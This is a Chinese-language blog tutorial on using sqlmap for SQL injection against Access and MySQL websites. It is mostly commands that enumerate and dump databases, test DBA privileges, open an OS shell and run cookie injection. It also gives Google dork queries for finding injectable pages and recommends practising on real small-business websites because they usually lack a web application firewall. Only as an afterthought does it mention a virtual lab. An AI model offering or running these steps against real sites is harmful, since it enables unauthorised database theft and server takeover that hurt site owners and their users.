kali下sqlmap注入无防火墙网址

 

如果文章中有错误或是语言不妥

请给予斧正!万分感谢!

 

0x01(关于Accesss数据库)

 

想要注入就要找到一个注入点

检测注入点:

 

sqlmap -u "目标网址" 

根据返回的信息可以得到

 

1->是否有防火墙或者狗之类的安全机制(在这里就不提如何绕过)

2->分为可以注入和不可以注入

      可以注入:在结尾会显示目标网站的数据库信息

      无法注入:就要尝试其他的方法

在这里我们用理想化的方式

     这个注入点可以注入&&返回的是Access数据库

 

   sqlmap -u “目标网址” --tables          --tables 显示所有表名

     我们要先暴力拆解所有的表名

 

     只有得到我们想要的表,通过表猜解列明

     注:在拆解表名时,会提示输入线程 (1-10)

得到表名

  sqlmap -u “目标网站” --columns -T "表名"     --columns  猜解列名

    同样的,需要输入线程(1-10)

最后一步

  sqlmap -u "目标网站" --dump -C "需要猜解的列名,需要猜解的列名" -T "表名"

 

0x02(关于MySQL数据库)

我们依旧理想化,没有防火墙,看门狗等安全机制。

 

sqlmap -u "目标网站"   进行注入点测试


理想化:

 

 可以注入

这时我们可以先检测一下有没有dba权限  先检测dba权限

 

sqlmap -u "目标站点" --is-dba

 

什么是dba权限?通俗来讲,如果我们获取这个权限就可以直接写目(mu)录(ma)

 

 

如果存在dba权限,会显示true

接着,终端就会显示,让你选择网站的类型

类似于

1.asp

2.php

3.

4.

然后就填写数组回车

终端会显示

 

os-shell>


接下来你就可以进行对目录的操作

 

存在dba权限,也可以输入

 

sqlmap -u"目标网址” -os-shell

 

 

 

这样也可以

 

 

我们接着说正常的注入

 

sqlmap -u "目标网站" --dbs   我们先看看到底有多少个数据库

然后,拿着你的目标

 

sqlmap -u "目标站点" --tables-D "你目标数据库名字"

或者,我们可以直接找到自己所在数据库

 

 

sqlmap -u "目标站点" --current-db  找到自己所在的数据库


接着,猜解表名

sqlmap -u "目标站点" --tables-D "数据库名"

根据表名猜解列名

 

 

sqlmap -u "目标网站" --columns-T "表名" -D "数据库名"

 

猜解字段

 

sqlmap -u "目标站点" --dump-C "字段,字段" -T "表名" -D “数据库名”

 

 

 

0x03(Cookie注入(适合asp网站))

 

sqlmap -u "目标网址" --cookie “id=xx” --level 2(提升等级)


一定要注意,这里目标网址不是http:www.XXXX?id=xx,我们要去掉?id=XXX

例如:www.xxx.asp?id=100

          我们怎么写呐?

          www.xxx.asp

         我们把?id=100放到哪里呐?

         在后面,"id=100"就可以了

这样,我们就可以获得网站的数据库类型

     根据类型来选择用0x01还是0x02

 

 

 

0x04 如何找到一些简单的网站进行注入

1->大家都是从新手走过来的,大多数新手都喜欢找一些简单网站进行注入

   利用的谷歌关键字搜索

 

  inur:asp?id=
  inur:php?id=


我的意见是:找一些小型企业网站,一般不会有WAF之类的,可以进行练手。


2->当然,如果自己有能力,可以用虚拟机组建渗透测试环境

 

 

 

 

 

  • 0
    点赞
  • 15
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值